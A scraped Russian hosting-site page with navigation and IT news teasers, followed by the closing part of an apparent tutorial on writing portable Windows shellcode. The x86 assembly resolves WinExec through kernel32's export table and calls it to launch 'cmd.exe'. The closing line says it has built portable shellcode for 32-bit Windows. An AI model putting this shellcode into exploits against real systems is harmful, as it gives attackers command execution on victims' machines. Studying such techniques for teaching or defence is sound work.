Вход на хостинг
IT-новости
20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла
Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......
30.07.2015 Ищем уникальный контент для сайта
Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......
shl eax,2 ; Умножим на размер ординала
mov esi,[ebx+1Ch] ; Указатель на таблицу адресов
add esi,edx ; Получим адрес начала таблицы адресов
add esi,eax ; И адрес нужной функции
lodsd ; Прочитаем
add eax,edx ; Добавим адрес kernel
call eax ; Получаем адрес функции WinExec
push 1 ; Заполняем стек
push ebp ;
call eax ; Запускаем "cmd.exe"
Exit:
;---------------------------------------------------------
db 'WinExec',01
db 'GetProcAddress',01
db 'cmd',01
konec:
.code
;---------------------------------------------------------
nop
;---------------------------------------------------------
end start
end
Вот мы и построили переносимый shell-код для 32-битных систем семейства Windows.